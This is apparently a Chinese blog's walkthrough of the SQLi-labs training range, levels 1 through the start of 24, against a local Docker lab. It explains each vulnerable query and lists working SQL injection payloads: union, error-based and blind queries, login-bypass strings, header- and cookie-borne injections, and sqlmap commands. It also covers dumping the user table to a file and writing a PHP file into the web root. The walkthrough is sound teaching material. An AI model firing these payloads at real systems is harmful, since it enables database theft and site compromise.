SQLI labs 靶场精简学习记录

SQLi Labs 是一个比较全面的手工注入练习靶场,因为很全面,很少有人可以坚持做完,当然国光我也是没有做完,写这篇文章就是逼一下自己,尝试全部做完来看看,233333~

准备工作

项目地址: https://github.com/Audi-1/sqli-labs

Sqli-labs 是一个开源且全面的 SQL 注入练习靶场,手工注入必备的练习环境,在 2019 年的 ISCC CTF 上,甚至还有出题人直接套用 Sqli-labs 的 Less-24 的二次注入题目,由此可见这个靶场在圈内的知名度了,手动狗头 :wink:

安装

安装使用 Docker 就比较简单省事儿,直接在 dockerhub 搜索,找下载量比较高( acgpiano/sqli-labs )的来安装:

docker pull acgpiano/sqli-labs
docker run -dt --name sqli-lab -p 8888:80 acgpiano/sqli-labs:latest

自己将 8888 修改成自己需要映射的端口,这个容器默认是 没初始化 SQLi-labs 数据库的,所以得自己初始化一下。

通过查看容器里面的配置文件,发现 MySQL 的 root 用户的密码为 ,相关版本的细节如下:

$ mysql -e "select version(),user()"
+-------------------------+----------------+
| version()               | user()         |
+-------------------------+----------------+
| 5.5.44-0ubuntu0.14.04.1 | root@localhost |
+-------------------------+----------------+

$ php --version
PHP 5.5.9-1ubuntu4.13 (cli) (built: Sep 29 2015 15:24:49)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies

$ cd /etc/init.d/ && apache2 -v
Server version: Apache/2.4.7 (Ubuntu)
Server built:   Oct 14 2015 14:20:21

$ uname -a
Linux 5fd18b4e45eb 4.19.76-linuxkit #1 SMP Fri Apr 3 15:53:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

天啦撸,2020年5月13日 国光发现新版的 Docker 支持图形化的 Dashboard 管理容器了,这样操作效率就又提高了。

效率必备

  • 抓包工具 Burpsuite,因为后面有 POST 注入,抓包方便分析
  • 老版本的 Hackerbar,半自动化手工注入必备

很巧的是,我的这篇文章 macOS下如何优雅的使用Burp Suite 里面都介绍了如何在 macOS 下配置了,当然其他平台也可以借鉴模仿一下配置方法。

基础挑战 1-20 关

Less-1

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id='$id'

源码简单分析:

# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持联合、报错、布尔盲注、延时盲注
if true:
    输出查询内容
else:
    print_r(mysql_error());

联合查询注入

?id=-1'+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

报错注入1

手动修改 LIMIT+0,1 来进行结果偏移

?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

报错注入2

手动修改 LIMIT+0,1 来进行结果偏移

?id=1'+AND(SELECT+1+FROM(SELECT+count(*),CONCAT((SELECT+(SELECT+(SELECT+CONCAT(0x7e,0x27,cast(username+AS+CHAR),0x27,0x7e)+FROM+users+LIMIT+0,1))+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)+AND+1=1--+

布尔盲注

数据库第一个字母为 s

?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)>'s'--+

延时盲注

数据库第一个字母的 ascii 码为 115,即 s

?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

sqlmap

联合查询注入

sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

报错注入

sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

布尔盲注

sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

延时盲注

sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

Less-2

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id=$id

和 Less-1 利用方式一致,只是闭合方式不一样而已,这里即不再啰嗦了。

Less-3

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id=('$id')

和 Less-1 利用方式一致,只是闭合方式不一样而已,这里即不再啰嗦了。

Less-4

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id=("$id")

源码简单分析:

# 先双引号 在括号拼接
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

# 支持联合、报错、布尔盲注、延时盲注
if true:
    输出查询内容
else:
    print_r(mysql_error());

Less-5

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 id='$id'

源码简单分析:

# 直接单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持报错、布尔盲注、延时盲注
if true:
    输出 You are in...........
else:
    print_r(mysql_error());

因为不输出查询的结果,这就导致不可以使用联合查询的注入方式,但是并不影响正常使用报错、布尔盲注和延时盲注,除了不能联合查询注入,其他和 Less-1 利用方式一致,这里即不再啰嗦了。

Less-6

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 id="$id"

和 Less-5 利用方式一致,只是闭合方式不一样,这里即不再啰嗦了。

Less-7

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id=(('$id'))

源码简单分析:

# 使用单引号加双层括号拼接
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

# 支持布尔盲注、延时盲注
if true:
    输出 You are in.... Use outfile......
else:
    输出 You have an error in your SQL syntax
  //print_r(mysql_error());

因为这里把 print_r(mysql_error()); 给注释掉了,所以就不可以使用报错注入了,这个时候只能使用布尔盲注和延时盲注,可以尝试手工验证一下然后放到 sqlmap 里面来跑。

盲注

盲注还是常规思路,这里实际上和前面的是一样的,就再啰嗦一下,使用 sqlmap 直接验证看看:

布尔盲注

sqlmap -u "http://127.0.0.1:8888/Less-7/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

sqlmap 的 Payload 如下:

id=1') AND 3542=3542 AND ('rmsD'='rmsD

延时盲注

sqlmap -u "http://127.0.0.1:8888/Less-7/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

sqlmap 的 Payload 如下:

id=1') AND (SELECT 9943 FROM (SELECT(SLEEP(5)))XOYy) AND ('QUpy'='QUpy

导出数据到文件

因为这一关作者很明显地提示了如下信息:

You are in.... Use outfile......

所以我们就来配合一下作者,使用 outfile 导出到文件来查询数据,默认 outfile 是没有开启的,得手动开启一下,这个 Docker 靶机理论上应该是开启的,进入容器验证一下:

# mysql -e "show global variables like '%secure%';"
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+
null
/tmp/
空

下面开始直接将数据库里面的信息导出到文件中吧:

/?id=1'))+UNION+SELECT * from security.users INTO OUTFILE "users.txt"--+

因为导出没有指定路径,所以 Linux 下 MySQL 默认导出的路径为:

/var/lib/mysql/security

查看下是否将数据库信息导出到文件中了:

$ cat /var/lib/mysql/security/users.txt
1    Dumb    Dumb
2    Angelina    I-kill-you
3    Dummy    p@ssword
4    secure    crappy
5    stupid    stupidity
6    superman    genious
7    batman    mob!le
8    admin    admin
9    admin1    admin1
10    admin2    admin2
11    admin3    admin3
12    dhakkan    dumbo
14    admin4    admin4

但是这样并没有什么实际的作用,因为这个路径我们同过 Web 是无法访问的,所以这个导出的信息尽管是成功的,但是访问不到这个信息就白白作废了。

所以一般我们将这个信息导出到网站的根目录下,所以需要知道网站的物理路径信息,因为这里是靶机,所有这里就直接导出到网站根目录下看看:

/?id=1'))+UNION+SELECT * from security.users INTO OUTFILE "/var/www/html/Less-7/users.txt"--+

这里因为这个 Docker 靶场环境没有配置好权限问题,我们通过 MySQL 直接往 Web 目录下写文件会是失败的,提示如下信息:

syntaxCan't create/write to file

这个时候为了演示这个效果,这里只能进容器来手动把权限给开一下了:

$ chmod -R 777 /var/www/html

然后再执行上面的语句应该是可以成功的

$ curl http://127.0.0.1:8888/Less-7/users.txt
1    Dumb    Dumb
2    Angelina    I-kill-you
3    Dummy    p@ssword
4    secure    crappy
5    stupid    stupidity
6    superman    genious
7    batman    mob!le
8    admin    admin
9    admin1    admin1
10    admin2    admin2
11    admin3    admin3
12    dhakkan    dumbo
14    admin4    admin4

一般情况看下可以往 Web 目录写文件的时候,直接写 shell 效率会更高:

/?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"--+ 

访问对应的 URL 看看是否解析了呢:

Less-8

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id='$id'

和 Less-7 注入方式一致,只是拼接方式不一样,这里国光就不再啰嗦了。

##Less-9

请求方式 注入类型 拼接方式
GET 延时盲注 id='$id'

和 Less-7 注入方式一致,只是拼接方式不一样,这里国光就不再啰嗦了。

源码简单分析:

# 使用单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持延时盲注
if true:
    输出 You are in............
else:
    输出 You are in...........

从源码中可以看到 if else 都输出的是 You are in……….. 这样就不能通过布尔盲注来进行注入了,只能用最慢的延时注入。延时注入细节可以参考 Less-1 的注入细节。

Less-10

请求方式 注入类型 拼接方式
GET 延时盲注 id="$id"

源码简单分析:

# 先使用双引号再直接拼接
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

# 支持延时盲注
if true:
    输出 You are in............
else:
    输出 You are in...........

和 Less-9 利用方式一样,只是拼接方式不一样,具体可以参考 Less-9

Less-11

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username='x'

源码简单分析:

# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

# 使用单引号拼接 SQL
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

if true:
    输出查询的信息
else:
    print_r(mysql_error());

和 Less-1 的利用方式相同,只是由 GET 型变成 POST 型。

万能密码

这里拿 admin 用户来模拟登录测试,首先查询出 admin 的用户信息如下:

mysql> select * from users where username = 'admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  8 | admin    | admin    |
+----+----------+----------+

因为核心的 SQL 语句只使用单引号拼接,这里就是一个经典的万能密码漏洞,可以使用如下 Payload 来登录系统:

# 注释掉 passwd 来登录
uname=admin'--+&passwd=&submit=Submit
uname=admin'#&passwd=&submit=Submit

# 注释后面语句 并 添加一个永真条件
uname=admin&passwd=1' or 1--+&submit=Submit
uname=admin&passwd=1'||1--+&submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit

# 闭合后面语句 并 添加一个永真条件
uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit

因为这是一个 POST 型的注入,那么国光这里就再啰嗦一遍,走一遍详细的流程吧

联合查询注入

POST 数据里面不能有 + ,这里得手动转换为空格

uname=admin&passwd=1'union select 1,(SELECT GROUP_CONCAT(username,password) FROM users)#&submit=Submit

报错注入1

手动修改 LIMIT+0,1 来进行结果偏移

uname=admin&passwd=1'AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit

报错注入2

手动修改 LIMIT+0,1 来进行结果偏移

uname=admin&passwd=1' AND (SELECT 1 FROM(SELECT count(*),CONCAT((SELECT (SELECT (SELECT CONCAT(0x7e,0x27,cast(username AS CHAR),0x27,0x7e) FROM users LIMIT 0,1)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 1=1#&submit=Submit

布尔盲注

数据库第一个字母为 s

uname=admin' and left(database(),1)>'r'#&passwd=&submit=Submit
uname=admin' and left(database(),1)>'s'#&passwd=&submit=Submit

延时盲注

数据库第一个字母的 ascii 码为 115,即 s

uname=admin' and if(ascii(substr(database(),1,1))>114,1,sleep(5))#&passwd=&submit=Submit
uname=admin' and if(ascii(substr(database(),1,1))>115,1,sleep(5))#&passwd=&submit=Submit

sqlmap

加载目标

可以直接将 Burpsuite 截取的数据包内容保持为文本格式 test.txt

POST /Less-11/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8888/Less-11/
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
Upgrade-Insecure-Requests: 1

uname=admin&passwd=2333&submit=Submit

然后直接使用 sqlmap 的 -r 参数来加载这个请求包:

sqlmap -r test.txt

也可以手动通过 --data 来对 POST 的数据包内容进行注入检测:

sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit"

实际上 --data 比较鸡肋,操作效率比较低,因为比较冷门,所有适合来炫耀自己会这个参数,这样对 sqlmap 不够了解的人 就会觉得很高大上。所以接下来国光我都使用 --data 这个参数来进行注入

联合查询注入

sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

报错注入

sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

布尔盲注

sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

延时盲注

sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

Less-12

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username=("x")

和 Less-11 的利用方式一样,只是 SQL 拼接方式不同,这里就不再啰嗦了。

Less-13

请求方式 注入类型 拼接方式
POST 报错、布尔盲注、延时盲注 username=('x')

简单源码分析

# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

# 使用单引号和括号来拼接 SQL
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

if true:
    并没有输出啥信息
else:
    print_r(mysql_error());

因为没有输出查询后的信息的原因,所以相对于 Less-11 和 Less-12 来说就少了 联合查询的注入方式,其他还是换汤不换药,这里就不再赘述了。

Less-14

请求方式 注入类型 拼接方式
POST 报错、布尔盲注、延时盲注 username="x"

简单源码分析

# 先使用 双引号 再直接带入 SQL 语句
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

和 Less-13 异曲同工,只是拼接方式不一样,我们换对应的闭合方式即可进行注入。

Less-15

请求方式 注入类型 拼接方式
POST 布尔盲注、延时盲注 username='x'

源码中注释掉了 MySQL 的报错日志,所以这里就不可以进行报错注入了,只能使用布尔盲注或者延时盲注。

国光这里不再做重复无意义的记录了。

Less-16

请求方式 注入类型 拼接方式
POST 布尔盲注、延时盲注 username=("x")

和 Less-15 注入类型一致,更换对应的闭合方式即可。

Less-17

请求方式 注入类型 拼接方式
POST 报错、布尔盲注、延时盲注 password = '$passwd'

简单源码分析:

# uname 参数被过滤了
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];

# SELECT 语句只获取了 uname 参数 但是被过滤了 没戏
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

if select 结果正确:
    # 更新语句 使用单引号拼接 passwd
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

    if mysql 报错:
            print_r(mysql_error());

从源码中可以分享唯一的注入点是在 update 语句里面,只使用了单引号拼接。因为操作正确并没有啥提示,所以不能使用联合查询注入,因为输出了报错日志,所以还可以进行报错注入,那么下面就演示一下报错注入吧:

uname=admin&passwd=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit

Less-18

请求方式 注入类型 拼接方式
POST 报错、布尔盲注、延时盲注 VALUES ('$uagent')

简单源码分析:

# 获取请求的 uagent 和 ip 地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

if 输入了uname 和 passwd:
    # 对这两个参数进行过滤
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

    if SQL语句有返回结果:
        # 执行 insert 语句 这里 uagent 和 ip_address 通过单引号拼接 并且 没有过滤
        $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            输出 $uagent;
        print_r(mysql_error());
    else:
        print_r(mysql_error());

这个代码漏洞点出在了 insert 语句,这里没有对 uagent 和 ip_address 进行过滤,并且输出了 mysql 的报错信息,所以本关支持 报错注入、布尔盲注和延时盲注。

PHP 里用来获取客户端 IP 的变量

  • $_SERVER['HTTP_CLIENT_IP'] 这个很少使用,不一定服务器都实现了。客户端可以伪造。

  • $_SERVER['HTTP_X_FORWARDED_FOR'] ,客户端可以伪造。

  • $_SERVER['REMOTE_ADDR'] ,客户端不能伪造。

所以这里的 IP 是无法被伪造的,这里只能通过修改 user-agent 来进行注入,考虑到 insert 语句的特殊性,这里使用闭合方式来闭合掉后面的语句,因为输出了 mysql 报错日志了,这里尝试报错注入效率会更高一点:

POST /Less-18/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: 1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8888/Less-18/
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

Less-19

请求方式 注入类型 拼接方式
POST 报错、布尔盲注、延时盲注 VALUES ('$uagent')

简单源码分析:

# 获取请求的 referer 和 ip 地址
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];

if 输入了uname 和 passwd:
    # uname 和 passwd 参数均被过滤
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

    if SQL语句有返回结果:
        # 单引号拼接后直接带入 insert 语句
        $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
        输出 $_SERVER['HTTP_REFERER']
        print_r(mysql_error());    
    else:
        print_r(mysql_error());

本关和 Less-18 异曲同工,只是这里的漏洞点出在了 referer 里面,其他利用方式基本上也是一毛一样,所以下面直接上 payload 演示吧:

POST /Less-19/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

Less-20

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username='$cookee'

简单源码分析:

<?php
if cookie 中不存在 uname 参数:  
    输出了一堆无用的信息
    if 提交了 uname 和 passwd:
        # 进行过滤
        $uname = check_input($_POST['uname']);
        $passwd = check_input($_POST['passwd']);

        $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $cookee = $row1['username'];
        if 有查询结果:
            # 将 uname 的值设置给 cookie 里面的 uname 参数
            setcookie('uname', $cookee, time()+3600);
        else:
            print_r(mysql_error());

else:
    if POST 数据里面没有 submit 参数:
        $cookee = $_COOKIE['uname'];

        # 直接将 cookee 通过单引号拼接到 SQL 语句中
        $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
        if 查询无结果:
            输出 mysql_error()
        if 有结果:
            输出查询的信息
    else:
        # 将 uname 的值设置给 cookie 里面的 uname 参数
        setcookie('uname', $row1['username'], time()-3600);
?>

从源码中可以分析出 Less-20 要复杂一点,不过问题还是存在,从 cookie 中读取的 uname 参数值 并直接拼接到了 SQL 语句中了,这就导致了注入点的产生,并且还输出了查询信息,所以这里也是可以进行联合查询注入的。因为是基础关卡的最后一关,所以这里国光老毛病又犯了,这里就再啰嗦一下:

联合查询注入

GET /Less-20/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: uname=admin' and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)#
Connection: close
Upgrade-Insecure-Requests: 1

报错注入

GET /Less-20/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: uname=admin'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)#
Connection: close
Upgrade-Insecure-Requests: 11

盲注

布尔盲注和延时盲注也是 OK 的,但是实际上手工注入的效率并不如联合与报错注入,所以国光这里就不演示了,下面直接演示sqlmap的注入过程吧:

sqlmap

联合查询注入

如果 --level 设置为 2 或更高,则 sqlmap 会对 HTTP Cookie 请求头进行 SQL 注入测试:

sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --level=2

当然手动通过 * 来标记注入也比较方便: --cookie="uname=admin*"

报错注入

sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin*"--dbms=MySQL --random-agent --flush-session --technique=E -v 3

布尔盲注

sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin*"--dbms=MySQL --random-agent --flush-session --technique=B -v 3

延时盲注

sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin*"--dbms=MySQL --random-agent --flush-session --technique=B -v 3

高级注入姿势 21-37 关

Less-21

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username=('$cookee')

简单源码分析:

<?php
if cookie 中不存在 uname 参数:  
    输出了一堆无用的信息
    if 提交了 uname 和 passwd:
        # 进行过滤
        $uname = check_input($_POST['uname']);
        $passwd = check_input($_POST['passwd']);

        $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        if 有查询结果:
            # 将 uname 的值设置给 cookie 里面的 uname 参数
            setcookie('uname', base64_encode($row1['username']), time()+3600);    
        else:
            print_r(mysql_error());

else:
    if POST 数据里面没有 submit 参数:
                 # 对 cookee 进行 base64 解密
        $cookee = base64_decode($cookee);

        # 直接将 cookee 通过单引号拼接到 SQL 语句中
        $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
        if 查询无结果:
            输出 mysql_error()
        if 有结果:
            输出查询的信息
    else:
        # 将 uname 的值设置给 cookie 里面的 uname 参数
        setcookie('uname', base64_encode($row1['username']), time()-3600);
?>

从源码中分析可得,和 Less-20 基本上是一毛一样,只是 Coojie 这里是经过 base64 加密的,所以我们只需要传入加密后的 payload 给 cookie 的 uname 即可,下面就只用联合查询注入来简单演示一下吧:

GET /Less-21/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: uname=c3Fsc2VjJykgdW5pb24gc2VsZWN0IDEsMiwoU0VMRUNUIEdST1VQX0NPTkNBVCh1c2VybmFtZSxwYXNzd29yZCBTRVBBUkFUT1IgMHgzYzYyNzIzZSkgRlJPTSB1c2Vycykj
Connection: close
Upgrade-Insecure-Requests: 1

Cookie 的 uname 参数 Base64 解码为:

uname=sqlsec') union select 1,2,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#

sqlmap

手工注入问题不大,那么尝试直接使用 sqlmap 来进行联合查询注入看看:

sqlmap -u "http://127.0.0.1:8888/Less-21/" --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

sqlmap 本身不会混淆发送的 payload,混淆 payload 的话可以使用 sqlmap 自带的 payload 库

Less-22

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username="$cookee"

简单源码分析:

# 先双引号 然后直接拼接到SQL语句中
$cookee1 = '"'. $cookee. '"';    
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

可以发现和 Less-21 相比,只是拼接方式不一样,其他都是一致的,国光这里就不再啰嗦了。

GET /Less-22/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: uname=c3Fsc2VjIiB1bmlvbiBzZWxlY3QgMSwyLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKHVzZXJuYW1lLHBhc3N3b3JkIFNFUEFSQVRPUiAweDNjNjI3MjNlKSBGUk9NIHVzZXJzKSM=
Connection: close
Upgrade-Insecure-Requests: 1

Cookie 的 uname 参数 Base64 解码为:

uname=sqlsec" union select 1,2,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#

Less-23

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id='$id'

简单源码分析:

# 获取到 id 的值
$id=$_GET['id'];

# 过滤了 id 中的 # 和 -- 然后 替换为 空
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

# 使用单引号拼接 SQL
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

if 有查询结果:
    输出查询信息
else:
    print_r(mysql_error());

过滤了注释符号,但是这里还可以考虑使用闭合方式来进行注入,下面直接使用最简单的联合查询注入吧:

?id=-1' union select 1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3 and '1'='1

Less-24

一个经典的二次注入场景,所以下面国光来单个理一下源码。

代码分析

  • index.php

主要记录了表单相关的信息,没有啥敏感代码,当做 Index.html 来看待就可以了,具体的界面如下:

提示输入用户名和密码,用户名和密码正确之后就可以成功登陆,否则登陆失败。

忘记密码 :左下角的忘记密码选项提示:如果你忘记密码 请 hack it

新建用户 :右下角新建用户可以新建一个自己的用户

  • failed.php

检测会话,如果 cookie 里面没有 Auth 参数的话,就跳转到 index.php

  • forgot_password.php

简单提示:如果你忘记密码 请 hack it

  • Logged-in.php

登录后的信息展示,显示登录名称并且提供了修改密码的表单

  • new_user.php

